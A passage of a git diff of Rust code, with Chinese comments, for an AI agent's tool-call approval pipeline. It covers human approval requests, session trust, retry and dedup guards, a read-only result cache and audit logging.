db: &Arc<Database>,
|
||||||
|
current_message_id: Option<&str>,
|
||||||
|
) {
|
||||||
|
// AE-2025-03(路径 B):write_file 挂起审批前预读旧文件生成 diff。
|
||||||
|
// 仅 write_file(覆盖整文件,有完整新旧内容可对比);其他工具 diff=None。
|
||||||
|
// 旧文件不存在(新建)→ diff=None,前端回退显新 content。
|
||||||
|
// 读失败不阻断审批(容错:文件无读权限等极端情况降级为无 diff 预览)。
|
||||||
|
let approval_diff: Option<String> = if draft.name == "write_file" {
|
||||||
|
build_write_file_diff(&args).await
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
|
||||||
|
// 阶段4(容错/恢复,开关 df-ai-approval-retry):同 tc_id 重试检测。
|
||||||
|
// 与 High risk 的 find_cached_high_risk_result 互补:去重按 (tool_name,args) 匹配
|
||||||
|
// (High only),本 guard 按 tc_id 匹配(覆盖 Med + High 残留场景)。
|
||||||
|
// 同 tc_id 已有审计落定记录 → retry_count≥1,跳过审批 + emit Completed,断死循环。
|
||||||
|
// 兜底:flag 关或无审计记录 → retry_count=0,等价原行为。
|
||||||
|
let retry_count = detect_retry_count(audit_repo, &draft.id).await;
|
||||||
|
if retry_count >= 1 {
|
||||||
|
let skip_msg = format!(
|
||||||
|
"已跳过重试(同 tool_call_id={} 此前已审批执行过,防 LLM 死循环重试同卡死工具)",
|
||||||
|
draft.id
|
||||||
|
);
|
||||||
|
// 短 lock 段:push tool_result(纯写,无 await)
|
||||||
|
{
|
||||||
|
let mut session = session_arc.lock().await;
|
||||||
|
session.conv(conv_id).messages.push(ChatMessage::tool_result(&draft.id, &skip_msg));
|
||||||
|
}
|
||||||
|
// L3 emit 双写:重试 guard 跳过 emit Completed 双路发布。
|
||||||
|
let ev = AiChatEvent::AiToolCallCompleted {
|
||||||
|
id: draft.id.clone(),
|
||||||
|
result: serde_json::Value::String(skip_msg.clone()),
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
};
|
||||||
|
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
||||||
|
let _ = app_handle.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
audit_tool_call(audit_repo, conv_id, &draft.id, &draft.name, &draft.args, "skipped_retry", risk_level, Some(skip_msg), Some("auto_retry_guard"), current_message_id).await;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 短 lock 段:纯写 pending_approvals.insert + 占位 tool_result push
|
||||||
|
{
|
||||||
|
let mut session = session_arc.lock().await;
|
||||||
|
session.pending_approvals.insert(draft.id.clone(), PendingApproval {
|
||||||
|
tool_call_id: draft.id.clone(),
|
||||||
|
tool_name: draft.name.clone(),
|
||||||
|
arguments: args.clone(),
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
recovered: false,
|
||||||
|
// 阶段3a:普通 RiskLevel 审批标 kind=Risk{diff}(下沉原 diff 字段)。
|
||||||
|
kind: ApprovalKind::Risk { diff: approval_diff.clone() },
|
||||||
|
retry_count,
|
||||||
|
created_at: Some(std::time::SystemTime::now()),
|
||||||
|
});
|
||||||
|
// 阶段2:占位带 __PENDING__:tc_id 标记,供 sanitize 豁免保留 + 出口断言自愈(防 400 orphan)
|
||||||
|
session.conv(conv_id).messages.push(ChatMessage::tool_result(&draft.id, &pending_placeholder_for(&draft.id)));
|
||||||
|
}
|
||||||
|
// 慢操作锁外:拼 reason(DB 读)+ emit + 审计落 pending 纪录(DB 写)
|
||||||
|
let reason = build_approval_reason(&draft.name, &args, risk_level, db).await;
|
||||||
|
// L3 emit 双写:Med/High 风险审批挂起 AiApprovalRequired 双路发布(tunnel 透传 miniapp 弹审批窗)。
|
||||||
|
let ev = AiChatEvent::AiApprovalRequired {
|
||||||
|
id: draft.id.clone(),
|
||||||
|
name: draft.name.clone(),
|
||||||
|
args: args.clone(),
|
||||||
|
reason,
|
||||||
|
diff: approval_diff,
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
};
|
||||||
|
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
||||||
|
let _ = app_handle.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
audit_tool_call(audit_repo, conv_id, &draft.id, &draft.name, &draft.args, "pending", risk_level, None, None, current_message_id).await;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 阶段4(容错/恢复,开关 `df-ai-approval-retry`):查审计表推算同 tc_id 重试计数。
|
||||||
|
///
|
||||||
|
/// 返回语义:
|
||||||
|
/// - 0:审计表无该 tc_id 落定记录(或仅 pending),属首次审批执行,正常挂起。
|
||||||
|
/// - ≥1:审计表已有该 tc_id 的落定记录(executed/failed/rejected/skipped_retry),即该
|
||||||
|
/// tc_id 此前已被审批执行过一次,LLM 又用同 id 重试 → 调用方据 ≥1 跳过执行 + emit Completed,
|
||||||
|
/// 断「超时/权限错→LLM 死循环重试同 id→重新挂起→用户被迫二次授权」循环。
|
||||||
|
///
|
||||||
|
/// 实现:查 `find_by_tool_call_id`,status 为 pending 视为"尚未落定"(返 0,首次挂起审批的
|
||||||
|
/// 正常态);其余落定状态返 1。retry_count 当前仅取 0/1(断路器语义:第二次即跳过),
|
||||||
|
/// 字段类型 u32 留给未来"允许多次重试"扩展(配置上限阈值)。
|
||||||
|
///
|
||||||
|
/// 兜底/回退:flag 关(文档标记)或审计查询失败 → 返 0,等价原行为(单次审批执行,无重试防护)。
|
||||||
|
pub(super) async fn detect_retry_count(audit_repo: &AiToolExecutionRepo, tc_id: &str) -> u32 {
|
||||||
|
// 审计查询失败不阻断主流程(DB 故障等降级为无重试防护,返回 0 走原审批流程)
|
||||||
|
let rec = match audit_repo.find_by_tool_call_id(tc_id).await {
|
||||||
|
Ok(opt) => match opt {
|
||||||
|
Some(r) => r,
|
||||||
|
None => return 0, // 无记录 = 首次
|
||||||
|
},
|
||||||
|
Err(e) => {
|
||||||
|
tracing::warn!("[阶段4-retry] 查审计表 tc_id={} 失败(降级无重试防护): {}", tc_id, e);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
// pending = 首次挂起审批(尚未落定);其余落定状态 = 已执行过 → 计 1 次重试
|
||||||
|
if rec.status == "pending" {
|
||||||
|
0
|
||||||
|
} else {
|
||||||
|
1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 对单条工具调用执行审批门控决策:
|
||||||
|
///
|
||||||
|
/// 1. 按 `auto_exec_mode`(low/medium/all) + `risk_level` + `patch_file` 小改动特例
|
||||||
|
/// 判定是否应自动执行(`classify_risk_and_auto`)。若是 → 推入 `low_risk` 返回。
|
||||||
|
/// 2. 否则走审批分支:会话信任(`check_trust_hits`)→ F-05 高危去重缓存 → 阶段4 重试 guard →
|
||||||
|
/// `insert_pending_approval`(write_file diff + 挂起 + emit + 审计落 pending 记录)。
|
||||||
|
///
|
||||||
|
/// BUG-260624-03/P0 重构:签名改 `session_arc: &Arc<Mutex<AiSession>>`,所有 session 访问
|
||||||
|
/// 都改短 lock 段(check_trust_hits/find_cached_high_risk_result 内部短 lock,命中后 push
|
||||||
|
/// tool_result 短 lock 段)。慢操作(audit_tool_call/find_cached_high_risk_result 的 DB 查)
|
||||||
|
/// 全在锁外 await,根治 process_tool_calls 持 session lock 期间 await 慢操作死锁反模式。
|
||||||
|
pub(super) async fn handle_approval_tool(
|
||||||
|
draft: ToolCallDraft,
|
||||||
|
args: serde_json::Value,
|
||||||
|
risk_level: RiskLevel,
|
||||||
|
auto_exec_mode: &str,
|
||||||
|
session_arc: &Arc<Mutex<AiSession>>,
|
||||||
|
conv_id: &str,
|
||||||
|
_tools_arc: &Arc<AiToolRegistry>,
|
||||||
|
audit_repo: &AiToolExecutionRepo,
|
||||||
|
app_handle: &AppHandle,
|
||||||
|
db: &Arc<Database>,
|
||||||
|
low_risk: &mut Vec<(ToolCallDraft, serde_json::Value, RiskLevel)>,
|
||||||
|
trust_hits: &mut Vec<(ToolCallDraft, serde_json::Value, String, RiskLevel)>,
|
||||||
|
pending_count: &mut usize,
|
||||||
|
current_message_id: Option<&str>,
|
||||||
|
) {
|
||||||
|
// ── Step 1: 自动执行判定 ──
|
||||||
|
if classify_risk_and_auto(risk_level, auto_exec_mode, &draft.name, &args) {
|
||||||
|
low_risk.push((draft, args, risk_level));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Step 2: 会话信任检查 ──
|
||||||
|
// AE-2025-04 会话级信任(Session Trust):首批 write_file / run_command,
|
||||||
|
// 同会话已批准过同工具+同目录 → TrustKey 命中 → 自动放行(跳过 pending + 二次确认)。
|
||||||
|
// 命中后走与 F-05 去重命中相似的「直接执行 + Completed + 审计 decided_by=auto_trust」路径,
|
||||||
|
// 但与 F-05 不同:F-05 复用缓存 tool_result 跳过执行;trust 放行**真实执行工具**
|
||||||
|
// (用户信任同目录同类操作,但仍要看每次的真实结果)。
|
||||||
|
if let Some(key) = check_trust_hits(&draft, &args, session_arc, conv_id).await {
|
||||||
|
let dir_label = match &key {
|
||||||
|
TrustKey::Write { dir } | TrustKey::Execute { dir } => dir.clone(),
|
||||||
|
};
|
||||||
|
tracing::info!(
|
||||||
|
tool = %draft.name,
|
||||||
|
dir = %dir_label,
|
||||||
|
new_tool_call_id = %draft.id,
|
||||||
|
"[AE-2025-04] 会话信任命中: 同会话已批准同类操作,自动放行(跳过审批+二次确认)"
|
||||||
|
);
|
||||||
|
// emit 轻量 toast 事件(前端 AiChat.vue 显示"🔓 自动放行: tool(dir)")
|
||||||
|
// L3 emit 双写:会话信任自动放行 toast 双路发布(tunnel 透传 miniapp 即时反馈)。
|
||||||
|
let ev = AiChatEvent::AiToolAutoApproved {
|
||||||
|
id: draft.id.clone(),
|
||||||
|
tool: draft.name.clone(),
|
||||||
|
dir: dir_label.clone(),
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
};
|
||||||
|
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
||||||
|
let _ = app_handle.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
// 收集后循环外 spawn 执行,对齐 Low risk 不持锁(原注释 L593 声称"锁外"但代码持锁,
|
||||||
|
// run_command 慢命令会阻塞同会话所有触 state.ai_session 的 IPC,CR-51 修此)
|
||||||
|
trust_hits.push((draft, args, dir_label, risk_level));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Step 3: F-05 高危去重缓存(仅 High) ──
|
||||||
|
if matches!(risk_level, RiskLevel::High) {
|
||||||
|
// find_cached_high_risk_result 内部短 lock 读 messages + 锁外 await DB 查 status,
|
||||||
|
// 返回 (cached_content, status) 时不持锁
|
||||||
|
if let Some((cached, status)) = find_cached_high_risk_result(session_arc, conv_id, audit_repo, &draft.name, &args).await {
|
||||||
|
// 命中:把缓存结果作为新 tool_call_id 的 tool_result 回传,跳过审批
|
||||||
|
tracing::info!(
|
||||||
|
tool = %draft.name,
|
||||||
|
new_tool_call_id = %draft.id,
|
||||||
|
"[F-05] 高危工具去重命中:LLM 重试同命令,复用缓存结果跳过审批(断循环)"
|
||||||
|
);
|
||||||
|
// 短 lock 段:push tool_result(纯写,无 await)
|
||||||
|
{
|
||||||
|
let mut session = session_arc.lock().await;
|
||||||
|
session.conv(conv_id).messages.push(ChatMessage::tool_result(&draft.id, &cached));
|
||||||
|
}
|
||||||
|
// L3 emit 双写:高危去重命中复用缓存 emit Completed 双路发布。
|
||||||
|
let ev = AiChatEvent::AiToolCallCompleted {
|
||||||
|
id: draft.id.clone(),
|
||||||
|
result: serde_json::Value::String(cached.clone()),
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
};
|
||||||
|
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
||||||
|
let _ = app_handle.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
// 审计:去重命中记一条(status 透传缓存来源 completed/rejected/failed,SW-260618-16;decided_by=auto_dedup),不进 pending
|
||||||
|
audit_tool_call(audit_repo, conv_id, &draft.id, &draft.name, &draft.args, &status, risk_level, Some(cached), Some("auto_dedup"), current_message_id).await;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Step 4: 插入 pending 审批 ──
|
||||||
|
*pending_count += 1;
|
||||||
|
insert_pending_approval(
|
||||||
|
draft, args, risk_level, session_arc, conv_id, audit_repo, app_handle, db,
|
||||||
|
current_message_id,
|
||||||
|
).await;
|
||||||
|
}
|
||||||
@@ -4,8 +4,11 @@
|
|||||||
//! + `sort_object_keys` + `PENDING_APPROVAL_PLACEHOLDER`(去重与 process_tool_calls
|
//! + `sort_object_keys` + `PENDING_APPROVAL_PLACEHOLDER`(去重与 process_tool_calls
|
||||||
//! 共用占位常量)。三函数内部闭环(find_cached 调 canonical→sort),无外部 helper 依赖。
|
//! 共用占位常量)。三函数内部闭环(find_cached 调 canonical→sort),无外部 helper 依赖。
|
||||||
|
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
use df_ai::provider::ChatMessage;
|
use df_ai::provider::ChatMessage;
|
||||||
use df_storage::crud::AiToolExecutionRepo;
|
use df_storage::crud::AiToolExecutionRepo;
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
|
||||||
use super::super::AiSession;
|
use super::super::AiSession;
|
||||||
|
|
||||||
@@ -70,7 +73,7 @@ pub(crate) fn is_pending_placeholder(content: &str) -> bool {
|
|||||||
/// F-260616-09 B 批2:经`conv_id` 索引 per_conv.messages(顶层 messages 批2 后是死字段)。
|
/// F-260616-09 B 批2:经`conv_id` 索引 per_conv.messages(顶层 messages 批2 后是死字段)。
|
||||||
/// conv_id 来源:process_tool_calls 入参 → 由 agentic/mod.rs run_agentic_loop 入参透传。
|
/// conv_id 来源:process_tool_calls 入参 → 由 agentic/mod.rs run_agentic_loop 入参透传。
|
||||||
pub(crate) async fn find_cached_high_risk_result(
|
pub(crate) async fn find_cached_high_risk_result(
|
||||||
session: &AiSession,
|
session_arc: &Arc<Mutex<AiSession>>,
|
||||||
conv_id: &str,
|
conv_id: &str,
|
||||||
audit_repo: &AiToolExecutionRepo,
|
audit_repo: &AiToolExecutionRepo,
|
||||||
tool_name: &str,
|
tool_name: &str,
|
||||||
@@ -81,9 +84,14 @@ pub(crate) async fn find_cached_high_risk_result(
|
|||||||
// 规范化新调用的 args 为可比字符串(排序键,键序无关)
|
// 规范化新调用的 args 为可比字符串(排序键,键序无关)
|
||||||
let new_args_key = canonical_args_key(args);
|
let new_args_key = canonical_args_key(args);
|
||||||
|
|
||||||
|
// BUG-260624-03/P0 重构:短 lock 段读 messages + 找旧 tool_call_id + 旧 tool_result content,
|
||||||
|
// drop 锁后再锁外 await DB 查 status(原代码持锁 await audit_repo,违反持锁 await 慢操作禁令)。
|
||||||
|
// 第一步:锁内(async block 包裹,出 block 自动 drop guard)反向扫描,定位旧 tool_call_id 与对应 tool_result content
|
||||||
|
let cached: Option<(String, String)> = (async {
|
||||||
|
let session = session_arc.lock().await;
|
||||||
// F-260616-09 B 批2:读 per_conv.messages。process_tool_calls 调用前 loop 入口已桥接建立 per_conv,
|
// F-260616-09 B 批2:读 per_conv.messages。process_tool_calls 调用前 loop 入口已桥接建立 per_conv,
|
||||||
// 故 conv_read 必命中;防御性 None 时返 None(无缓存命中,走原审批流程)。
|
// 故 conv_read 必命中;防御性 None 时返 None(无缓存命中,走原审批流程)。
|
||||||
let conv = session.conv_read(conv_id)?;
|
let Some(conv) = session.conv_read(conv_id) else { return None };
|
||||||
// ContextManager::iter 返回 impl Iterator(非 DoubleEnded),collect 成 Vec 再反向遍历。
|
// ContextManager::iter 返回 impl Iterator(非 DoubleEnded),collect 成 Vec 再反向遍历。
|
||||||
// 单对话消息量小(百级),collect 开销可忽略。
|
// 单对话消息量小(百级),collect 开销可忽略。
|
||||||
let msgs: Vec<&ChatMessage> = conv.messages.iter().collect();
|
let msgs: Vec<&ChatMessage> = conv.messages.iter().collect();
|
||||||
@@ -117,7 +125,7 @@ pub(crate) async fn find_cached_high_risk_result(
|
|||||||
// 2) 用旧 tool_call_id 找对应 tool_result。注意:审批拒绝/超时失败也属「已落定」,
|
// 2) 用旧 tool_call_id 找对应 tool_result。注意:审批拒绝/超时失败也属「已落定」,
|
||||||
// 其 tool_result 内容同样回传(LLM 看到原反馈自行决定,不再逼用户二次审批)。
|
// 其 tool_result 内容同样回传(LLM 看到原反馈自行决定,不再逼用户二次审批)。
|
||||||
// pending 占位(「需要用户审批,等待确认」)不命中——仍在审批中,走原流程。
|
// pending 占位(「需要用户审批,等待确认」)不命中——仍在审批中,走原流程。
|
||||||
let old_id = prev_tool_call_id?;
|
let Some(old_id) = prev_tool_call_id else { return None };
|
||||||
for msg in msgs.iter().rev() {
|
for msg in msgs.iter().rev() {
|
||||||
if !matches!(msg.role, MessageRole::Tool) {
|
if !matches!(msg.role, MessageRole::Tool) {
|
||||||
continue;
|
continue;
|
||||||
@@ -133,18 +141,21 @@ pub(crate) async fn find_cached_high_risk_result(
|
|||||||
if is_pending_placeholder(&msg.content) {
|
if is_pending_placeholder(&msg.content) {
|
||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
// SW-260618-16: 查审计表拿缓存来源真实 status(completed/rejected/failed),透传给
|
return Some((old_id, msg.content.clone()));
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}).await;
|
||||||
|
// 锁外:查审计表拿缓存来源真实 status(completed/rejected/failed),透传给
|
||||||
// audit_tool_call 而非固定 completed(审计语义与结果内容一致,防"rejected/failed 结果
|
// audit_tool_call 而非固定 completed(审计语义与结果内容一致,防"rejected/failed 结果
|
||||||
// 记 completed"误导安全追溯)。审计记录缺失/查询失败 fallback completed(不阻塞去重,降级原行为)。
|
// 记 completed"误导安全追溯)。审计记录缺失/查询失败 fallback completed(不阻塞去重,降级原行为)。
|
||||||
|
let (old_id, content) = cached?;
|
||||||
let status = audit_repo
|
let status = audit_repo
|
||||||
.find_by_tool_call_id(old_id.as_str())
|
.find_by_tool_call_id(old_id.as_str())
|
||||||
.await
|
.await
|
||||||
.ok()
|
.ok()
|
||||||
.and_then(|opt| opt.map(|rec| rec.status))
|
.and_then(|opt| opt.map(|rec| rec.status))
|
||||||
.unwrap_or_else(|| "completed".to_string());
|
.unwrap_or_else(|| "completed".to_string());
|
||||||
return Some((msg.content.clone(), status));
|
Some((content, status))
|
||||||
}
|
|
||||||
None
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// 把 JSON args 规范化为可比字符串:对象键按字典序排序后序列化,
|
/// 把 JSON args 规范化为可比字符串:对象键按字典序排序后序列化,
|
||||||
@@ -156,6 +167,117 @@ fn canonical_args_key(args: &serde_json::Value) -> String {
|
|||||||
serde_json::to_string(&v).unwrap_or_default()
|
serde_json::to_string(&v).unwrap_or_default()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// BUG-2026-07-07/P0-2:只读幂等工具结果缓存(治 LLM 死循环重调)。
|
||||||
|
///
|
||||||
|
/// **根因链(实测 9357c27c)**:LLM 无"已调用过"记忆,对同参只读工具反复触发:
|
||||||
|
/// - `read_file(application.xml)` 读了 17 次(两次返回完全相同的 8457c 全文)
|
||||||
|
/// - `search_files(pattern='.java')` 连调 13 次(每次返回 items=0/has_more=True 几乎一致)
|
||||||
|
/// 每次都真执行 + 全文回灌 tool_result,是 prompt 64 万的直接元凶。
|
||||||
|
///
|
||||||
|
/// **治本**:对幂等只读工具,扫描会话历史,若发现**已成功完成**的同类同参调用,
|
||||||
|
/// 返回其 tool_result 内容,调用方把缓存结果作为新 tool_call_id 的 tool_result 回传 LLM,
|
||||||
|
/// 跳过真实执行(也跳过 emit Started/Completed——直接走缓存回填路径)。
|
||||||
|
///
|
||||||
|
/// **安全边界**(对照 find_cached_high_risk_result 严格收紧):
|
||||||
|
/// - 仅匹配白名单只读幂等工具(READONLY_CACHE_TOOLS):read_file/list_directory/
|
||||||
|
/// search_files/grep/read_symbol。写工具(write_file/patch_file/run_command 等)
|
||||||
|
/// 永不缓存,避免误伤。
|
||||||
|
/// - 仅匹配 **status=completed** 的成功结果(失败/拒绝不缓存,可能重试成功)。
|
||||||
|
/// - 仅匹配 **非占位** 结果(排除 pending_placeholder 占位)。
|
||||||
|
/// - args 走 JSON 规范化比较(键序无关),与 find_cached_high_risk_result 一致。
|
||||||
|
/// - 返回 None 表示无缓存命中(走原执行流程)。
|
||||||
|
///
|
||||||
|
/// 与 find_cached_high_risk_result 区别:后者治"超时→重试→重新审批"循环( High risk),
|
||||||
|
/// 本函数治"LLM 失忆→同参重调"死循环( Low risk 只读),问题形态相似但触发原因不同。
|
||||||
|
pub(crate) async fn find_cached_readonly_result(
|
||||||
|
session_arc: &Arc<Mutex<AiSession>>,
|
||||||
|
conv_id: &str,
|
||||||
|
audit_repo: &AiToolExecutionRepo,
|
||||||
|
tool_name: &str,
|
||||||
|
args: &serde_json::Value,
|
||||||
|
) -> Option<String> {
|
||||||
|
use df_ai::provider::MessageRole;
|
||||||
|
|
||||||
|
// 白名单:只读幂等工具才缓存。写工具/有副作用工具永不缓存。
|
||||||
|
if !READONLY_CACHE_TOOLS.contains(&tool_name) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let new_args_key = canonical_args_key(args);
|
||||||
|
|
||||||
|
// BUG-260624-03/P0 重构:短 lock 段读 messages + 锁外 await DB 查 status(原代码持锁 await)
|
||||||
|
let cached: Option<(String, String)> = (async {
|
||||||
|
let session = session_arc.lock().await;
|
||||||
|
let Some(conv) = session.conv_read(conv_id) else { return None };
|
||||||
|
let msgs: Vec<&ChatMessage> = conv.messages.iter().collect();
|
||||||
|
|
||||||
|
// 1) 反向扫描 assistant tool_calls,找最近一条同名同参调用 → 拿到旧 tool_call_id
|
||||||
|
let mut prev_tool_call_id: Option<String> = None;
|
||||||
|
for msg in msgs.iter().rev() {
|
||||||
|
if !matches!(msg.role, MessageRole::Assistant) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let Some(tcs) = msg.tool_calls.as_ref() else { continue };
|
||||||
|
for tc in tcs {
|
||||||
|
if tc.function.name != tool_name {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let Ok(old_args) = serde_json::from_str::<serde_json::Value>(&tc.function.arguments) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
if canonical_args_key(&old_args) == new_args_key {
|
||||||
|
prev_tool_call_id = Some(tc.id.clone());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if prev_tool_call_id.is_some() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2) 用旧 tool_call_id 找对应 tool_result
|
||||||
|
let Some(old_id) = prev_tool_call_id else { return None };
|
||||||
|
for msg in msgs.iter().rev() {
|
||||||
|
if !matches!(msg.role, MessageRole::Tool) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if msg.tool_call_id.as_deref() != Some(old_id.as_str()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// 排除 pending 占位(仍在审批中,未真执行)
|
||||||
|
if is_pending_placeholder(&msg.content) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
return Some((old_id, msg.content.clone()));
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}).await;
|
||||||
|
// 锁外:查审计表确认是 completed 成功结果(失败/拒绝不缓存,给 LLM 重试机会)
|
||||||
|
let (old_id, content) = cached?;
|
||||||
|
let status = audit_repo
|
||||||
|
.find_by_tool_call_id(old_id.as_str())
|
||||||
|
.await
|
||||||
|
.ok()
|
||||||
|
.and_then(|opt| opt.map(|rec| rec.status))
|
||||||
|
.unwrap_or_else(|| "completed".to_string());
|
||||||
|
if status != "completed" {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
Some(content)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 可缓存的只读幂等工具白名单。
|
||||||
|
/// 仅含纯读取/查询类工具:同参多次调用结果一致,缓存命中安全。
|
||||||
|
/// 写工具/有副作用工具(write_file/patch_file/run_command/create_*/update_*/delete_* 等)
|
||||||
|
/// 永不进此白名单——它们每次执行都可能改变状态,缓存会掩盖变化。
|
||||||
|
const READONLY_CACHE_TOOLS: &[&str] = &[
|
||||||
|
"read_file", // 读文件内容(同 path+offset+limit+search 参数 → 同结果)
|
||||||
|
"read_symbol", // AST 符号读取(同 path+symbol+full → 同结果)
|
||||||
|
"list_directory", // 列目录(同 path+recursive+max_depth → 同结果)
|
||||||
|
"search_files", // 搜文件名(同 path+pattern+offset+limit → 同结果)
|
||||||
|
"grep", // 搜文件内容(同 path+pattern+mode → 同结果)
|
||||||
|
];
|
||||||
|
|
||||||
/// 递归对 JSON 对象的键做字典序排序(就地),数组成员也递归排序。
|
/// 递归对 JSON 对象的键做字典序排序(就地),数组成员也递归排序。
|
||||||
fn sort_object_keys(v: &mut serde_json::Value) {
|
fn sort_object_keys(v: &mut serde_json::Value) {
|
||||||
match v {
|
match v {
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ pub(super) fn data_change_for_tool(name: &str) -> Option<(&'static str, &'static
|
|||||||
"delete_idea" => ("idea", "delete"),
|
"delete_idea" => ("idea", "delete"),
|
||||||
"restore_project" => ("project", "update"),
|
"restore_project" => ("project", "update"),
|
||||||
"bind_directory" => ("project", "update"),
|
"bind_directory" => ("project", "update"),
|
||||||
|
"write_file" | "patch_file" => ("file", "update"),
|
||||||
_ => return None,
|
_ => return None,
|
||||||
};
|
};
|
||||||
Some((entity, action))
|
Some((entity, action))
|
||||||
|
|||||||
@@ -1,68 +1,12 @@
|
|||||||
//! 工具调用审计记录写/回填(audit_tool_call 写入 + audit_finalize 审批后状态回填)
|
//! 审批后审计记录状态回填(audit_finalize)
|
||||||
//!
|
//!
|
||||||
//! 第二批从 audit/mod.rs 抽出(行为零变更,纯 fn 搬迁)。re-export 经 audit/mod.rs
|
//! `audit_tool_call` 已移至 record.rs(审计记录写入操作归 audit record 子模块)。
|
||||||
//! `pub use finalize::{audit_tool_call, audit_finalize};` 保持 `commands::ai::audit::*`
|
//! re-export 经 audit/mod.rs `pub(crate) use finalize::audit_finalize;` 保持
|
||||||
//! 路径透明(调用方零变更)。
|
//! `commands::ai::audit::*` 路径透明(调用方零变更)。
|
||||||
|
|
||||||
use df_ai::ai_tools::RiskLevel;
|
|
||||||
use df_storage::crud::AiToolExecutionRepo;
|
|
||||||
use df_storage::models::AiToolExecutionRecord;
|
|
||||||
|
|
||||||
use df_types::types::new_id;
|
|
||||||
|
|
||||||
use crate::commands::now_millis;
|
use crate::commands::now_millis;
|
||||||
use crate::state::AppState;
|
use crate::state::AppState;
|
||||||
|
|
||||||
use super::risk_str;
|
|
||||||
|
|
||||||
/// 写一条工具执行审计记录(insert 失败不阻断主流程,故 `let _ =`)
|
|
||||||
///
|
|
||||||
/// `decided_by` 有值(auto/human)= 已决策执行 → 记 executed_at;
|
|
||||||
/// `None`(pending 待审批)→ executed_at 留空,待 audit_finalize 回填。
|
|
||||||
pub(crate) async fn audit_tool_call(
|
|
||||||
repo: &AiToolExecutionRepo,
|
|
||||||
conv_id: &str,
|
|
||||||
tool_call_id: &str,
|
|
||||||
tool_name: &str,
|
|
||||||
arguments: &str,
|
|
||||||
status: &str,
|
|
||||||
risk_level: RiskLevel,
|
|
||||||
result: Option<String>,
|
|
||||||
decided_by: Option<&str>,
|
|
||||||
message_id: Option<&str>,
|
|
||||||
) {
|
|
||||||
let executed_at = if decided_by.is_some() { Some(now_millis()) } else { None };
|
|
||||||
if let Err(e) = repo
|
|
||||||
.insert(AiToolExecutionRecord {
|
|
||||||
id: new_id(),
|
|
||||||
conversation_id: Some(conv_id.to_string()),
|
|
||||||
// F-260619-04 P1 消息级溯源:message_id 由调用方(process_tool_calls)从
|
|
||||||
// ContextManager 取当前 assistant 消息 id 传入(LLM 返回带 tool_calls 的
|
|
||||||
// assistant 消息已 push 到 per_conv.messages,入口取末条 assistant id)。
|
|
||||||
// None 表示无 assistant 消息(异常路径/老数据无 id),展示侧兼容。
|
|
||||||
message_id: message_id.map(|s| s.to_string()),
|
|
||||||
tool_call_id: tool_call_id.to_string(),
|
|
||||||
tool_name: tool_name.to_string(),
|
|
||||||
arguments: arguments.to_string(),
|
|
||||||
result,
|
|
||||||
status: status.to_string(),
|
|
||||||
risk_level: risk_str(risk_level).to_string(),
|
|
||||||
requested_at: now_millis(),
|
|
||||||
executed_at,
|
|
||||||
decided_by: decided_by.map(|s| s.to_string()),
|
|
||||||
})
|
|
||||||
.await
|
|
||||||
{
|
|
||||||
tracing::error!(
|
|
||||||
"audit_tool_call: 写审计记录失败(conv={}, tool_call_id={}, tool={}): {}",
|
|
||||||
conv_id,
|
|
||||||
tool_call_id,
|
|
||||||
tool_name,
|
|
||||||
e
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// 审批后更新审计记录状态(按 tool_call_id 定位 pending 记录,回填 status/decided_by=human/executed_at/result)
|
/// 审批后更新审计记录状态(按 tool_call_id 定位 pending 记录,回填 status/decided_by=human/executed_at/result)
|
||||||
///
|
///
|
||||||
/// 走专用 find_by_tool_call_id —— 通用 query 宏硬编码 ORDER BY created_at DESC,
|
/// 走专用 find_by_tool_call_id —— 通用 query 宏硬编码 ORDER BY created_at DESC,
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
94
src-tauri/src/commands/ai/audit/path_auth.rs
Normal file
94
src-tauri/src/commands/ai/audit/path_auth.rs
Normal file
@@ -0,0 +1,94 @@
|
|||||||
|
//! F-260619-03 Phase B/C: 路径授权预校验(文件工具路径提取 + 白/黑名单判定)。
|
